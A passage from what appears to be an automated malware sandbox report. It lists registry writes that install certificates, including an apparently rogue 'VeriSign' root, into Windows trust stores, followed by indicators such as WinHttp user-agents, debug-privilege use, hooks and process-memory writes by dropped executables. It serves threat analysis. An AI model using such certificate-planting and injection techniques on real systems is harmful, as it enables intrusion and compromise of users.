f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be Setup.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA Setup.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f Setup.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd Cleaner Installation.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 GameBoxWin64.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\4C6E431A1F9B740F69736DEC2D591892A4D47F1A\Blob = 0300000001000000140000004c6e431a1f9b740f69736dec2d591892a4d47f1a2000000001000000c3020000308202bf30820228a00302010202085c0673713e998068300d06092a864886f70d01010b050030793139303706035504030c3056653872695369676e20556e6976657273616c20526f6f742043657274696669636174696f6e20417574686f72697479311b3019060355040b0c1222286329203230303820566572695369676e31123010060355040a0c0922566572695369676e310b3009060355040613025553301e170d3139303832343137323933325a170d3233303832333137323933325a30793139303706035504030c3056653872695369676e20556e6976657273616c20526f6f742043657274696669636174696f6e20417574686f72697479311b3019060355040b0c1222286329203230303820566572695369676e31123010060355040a0c0922566572695369676e310b300906035504061302555330819f300d06092a864886f70d010101050003818d0030818902818100be5a59212a079b7c77eecd44ca6a34500f73ba34f03d4d1fc87ef6496f7c55fe006e1fc68f7e41be73f961a34c21b339f0c487b1f3ddd8298e6dc92e296fd90ca4946fa1c16625c4b9eb3298950c33c235457809ae4c4f80ee61984c7e35e592236e53fbbc5e09fb21ee57f3dec5632c4aaf655090fccc2ea6d1a02482c526250203010001a350304e300f0603551d130101ff040530030101ff303b0603551d1104343032823056653872695369676e20556e6976657273616c20526f6f742043657274696669636174696f6e20417574686f72697479300d06092a864886f70d01010b050003818100a2aa903e49ac633e5e2ae9219ce847491dec90579de4ed059bd0a8c7a200fdddeeeee26e094257708a6506e7bf4bb29d67cbcf92587a9b19264f917ae79af9cecab83adcfb2cb192725bb44c7e4fc736345a6e9bd6a7c5136ec3b726c8493a8a363099afd11750a84bafcb19ed61242667abdb7e94474d362e836eb4ae19a515 RUNDLL32.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\4C6E431A1F9B740F69736DEC2D591892A4D47F1A\Blob = 0300000001000000140000004c6e431a1f9b740f69736dec2d591892a4d47f1a2000000001000000c3020000308202bf30820228a00302010202085c0673713e998068300d06092a864886f70d01010b050030793139303706035504030c3056653872695369676e20556e6976657273616c20526f6f742043657274696669636174696f6e20417574686f72697479311b3019060355040b0c1222286329203230303820566572695369676e31123010060355040a0c0922566572695369676e310b3009060355040613025553301e170d3139303832343137323933325a170d3233303832333137323933325a30793139303706035504030c3056653872695369676e20556e6976657273616c20526f6f742043657274696669636174696f6e20417574686f72697479311b3019060355040b0c1222286329203230303820566572695369676e31123010060355040a0c0922566572695369676e310b300906035504061302555330819f300d06092a864886f70d010101050003818d0030818902818100be5a59212a079b7c77eecd44ca6a34500f73ba34f03d4d1fc87ef6496f7c55fe006e1fc68f7e41be73f961a34c21b339f0c487b1f3ddd8298e6dc92e296fd90ca4946fa1c16625c4b9eb3298950c33c235457809ae4c4f80ee61984c7e35e592236e53fbbc5e09fb21ee57f3dec5632c4aaf655090fccc2ea6d1a02482c526250203010001a350304e300f0603551d130101ff040530030101ff303b0603551d1104343032823056653872695369676e20556e6976657273616c20526f6f742043657274696669636174696f6e20417574686f72697479300d06092a864886f70d01010b050003818100a2aa903e49ac633e5e2ae9219ce847491dec90579de4ed059bd0a8c7a200fdddeeeee26e094257708a6506e7bf4bb29d67cbcf92587a9b19264f917ae79af9cecab83adcfb2cb192725bb44c7e4fc736345a6e9bd6a7c5136ec3b726c8493a8a363099afd11750a84bafcb19ed61242667abdb7e94474d362e836eb4ae19a515 RUNDLL32.EXE -
Runs ping.exe 1 TTPs 2 IoCs
-
Script User-Agent 31 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 230 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 247 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 171 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 245 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 257 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 450 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 275 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 332 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 435 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 453 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 209 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 241 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 331 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 385 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 448 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 459 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 486 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 238 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 284 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 242 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 464 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 204 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 237 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 382 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 485 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 244 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 246 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 231 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 460 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 201 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 226 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Setup (2).exeDllHost.exeWerFault.exejooyu.exeWerFault.exepid process 636 Setup (2).exe 636 Setup (2).exe 4060 DllHost.exe 4060 DllHost.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4704 WerFault.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 4880 jooyu.exe 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 5116 WerFault.exe 5116 WerFault.exe 5116 WerFault.exe 5116 WerFault.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 2568 -
Suspicious behavior: MapViewOfSection 64 IoCs
Processes:
DllHost.exeK5VKeIvX3UicT2rPEMclHW7I.exeexplorer.exeexplorer.exeexplorer.exebtsitavbtsitavpid process 4060 DllHost.exe 3584 K5VKeIvX3UicT2rPEMclHW7I.exe 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 2568 6248 explorer.exe 6248 explorer.exe 8180 explorer.exe 8180 explorer.exe 1040 explorer.exe 1040 explorer.exe 8180 explorer.exe 8180 explorer.exe 6248 explorer.exe 6248 explorer.exe 1040 explorer.exe 1040 explorer.exe 8180 explorer.exe 8180 explorer.exe 6248 explorer.exe 6248 explorer.exe 1040 explorer.exe 1040 explorer.exe 8180 explorer.exe 8180 explorer.exe 6248 explorer.exe 6248 explorer.exe 1040 explorer.exe 1040 explorer.exe 1040 explorer.exe 1040 explorer.exe 8180 explorer.exe 8180 explorer.exe 6248 explorer.exe 6248 explorer.exe 6248 explorer.exe 6248 explorer.exe 8180 explorer.exe 8180 explorer.exe 1040 explorer.exe 1040 explorer.exe 6248 explorer.exe 6248 explorer.exe 8180 explorer.exe 8180 explorer.exe 1040 explorer.exe 1040 explorer.exe 6680 btsitav 8836 btsitav -
Suspicious behavior: SetClipboardViewer 2 IoCs
Processes:
5372587.exe6494648.exepid process 3232 5372587.exe 8600 6494648.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
J2owPAUGQjmOpvZIfDOZ3EEB.exeihar12fqdZjlFuD9wMggUGlV.exeWerFault.exejooyu.exeWerFault.exe11111.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeUYrkctL2OQTKGwhtF04YGAOe.exeozyrYY7iY8h0_1WTWvTK1gyL.exen_zf2lCd7iqr37UhHsvOITg6.exe91b_xG4UC6wvh0AfGBHgwES6.exegd41tbyNVJg_wutYjqKRVTTH.exeWerFault.exeWerFault.exeb9NkWh7Fvai3VM3TxkxGpdyn.exekXeyg8P_Y4lYzOSnJKBRTXzH.exeWerFault.exe8752555.exeWerFault.exe1982896.exe3152080.exeJ2owPAUGQjmOpvZIfDOZ3EEB.exe5372587.exeWerFault.exedescription pid process Token: SeDebugPrivilege 3540 J2owPAUGQjmOpvZIfDOZ3EEB.exe Token: SeDebugPrivilege 4284 ihar12fqdZjlFuD9wMggUGlV.exe Token: SeRestorePrivilege 4704 WerFault.exe Token: SeBackupPrivilege 4704 WerFault.exe Token: SeDebugPrivilege 4704 WerFault.exe Token: SeDebugPrivilege 4880 jooyu.exe Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeDebugPrivilege 5116 WerFault.exe Token: SeDebugPrivilege 768 11111.exe Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeDebugPrivilege 4224 WerFault.exe Token: SeDebugPrivilege 4732 WerFault.exe Token: SeDebugPrivilege 4872 WerFault.exe Token: SeDebugPrivilege 4504 WerFault.exe Token: SeDebugPrivilege 4516 WerFault.exe Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeDebugPrivilege 3024 UYrkctL2OQTKGwhtF04YGAOe.exe Token: SeDebugPrivilege 4812 ozyrYY7iY8h0_1WTWvTK1gyL.exe Token: SeDebugPrivilege 1000 n_zf2lCd7iqr37UhHsvOITg6.exe Token: SeDebugPrivilege 1036 91b_xG4UC6wvh0AfGBHgwES6.exe Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeDebugPrivilege 4872 WerFault.exe Token: SeDebugPrivilege 4232 gd41tbyNVJg_wutYjqKRVTTH.exe Token: SeDebugPrivilege 2280 WerFault.exe Token: SeDebugPrivilege 2268 WerFault.exe Token: SeDebugPrivilege 416 b9NkWh7Fvai3VM3TxkxGpdyn.exe Token: SeDebugPrivilege 2352 kXeyg8P_Y4lYzOSnJKBRTXzH.exe Token: SeDebugPrivilege 3048 WerFault.exe Token: SeDebugPrivilege 4740 8752555.exe Token: SeDebugPrivilege 5324 WerFault.exe Token: SeDebugPrivilege 5200 1982896.exe Token: SeDebugPrivilege 5132 3152080.exe Token: SeDebugPrivilege 5088 J2owPAUGQjmOpvZIfDOZ3EEB.exe Token: SeDebugPrivilege 3232 5372587.exe Token: SeDebugPrivilege 2548 WerFault.exe Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeShutdownPrivilege 2568 Token: SeCreatePagefilePrivilege 2568 Token: SeShutdownPrivilege 2568 -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
HkRtqjAALeZZsV5jIKhG3Ubr.tmpCleaner Installation.exeWEATHER Manager.tmpInlog.tmpVPN.tmpStats.tmpSetup.exeSetup.tmpSetup.tmpEsplorarne.exe.comMoKLaz0woWj79HL5Op0XYhse.tmpEsplorarne.exe.comEsplorarne.exe.compid process 2568 2568 5548 HkRtqjAALeZZsV5jIKhG3Ubr.tmp 2568 2568 6848 Cleaner Installation.exe 7112 WEATHER Manager.tmp 7040 Inlog.tmp 2068 VPN.tmp 7048 Stats.tmp 5108 Setup.exe 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7464 Setup.tmp 8352 Esplorarne.exe.com 2568 2568 7792 MoKLaz0woWj79HL5Op0XYhse.tmp 8352 Esplorarne.exe.com 8352 Esplorarne.exe.com 8352 Esplorarne.exe.com 6876 Esplorarne.exe.com 2568 2568 6876 Esplorarne.exe.com 6876 Esplorarne.exe.com 2568 2568 8488 Esplorarne.exe.com 2568 2568 8488 Esplorarne.exe.com -
Suspicious use of SendNotifyMessage 16 IoCs
Processes:
Esplorarne.exe.comEsplorarne.exe.comEsplorarne.exe.comEsplorarne.exe.comEsplorarne.exe.compid process 8352 Esplorarne.exe.com 8352 Esplorarne.exe.com 8352 Esplorarne.exe.com 8352 Esplorarne.exe.com 6876 Esplorarne.exe.com 6876 Esplorarne.exe.com 6876 Esplorarne.exe.com 8488 Esplorarne.exe.com 8488 Esplorarne.exe.com 8488 Esplorarne.exe.com 9124 Esplorarne.exe.com 9124 Esplorarne.exe.com 9124 Esplorarne.exe.com 6632 Esplorarne.exe.com 6632 Esplorarne.exe.com 6632 Esplorarne.exe.com -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
builder.exebtsitavMicrosoftEdgeCP.exeMaskVPNUpdate.exepid process 5224 builder.exe 2568 8836 btsitav 356 MicrosoftEdgeCP.exe 8016 MaskVPNUpdate.exe 356 MicrosoftEdgeCP.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
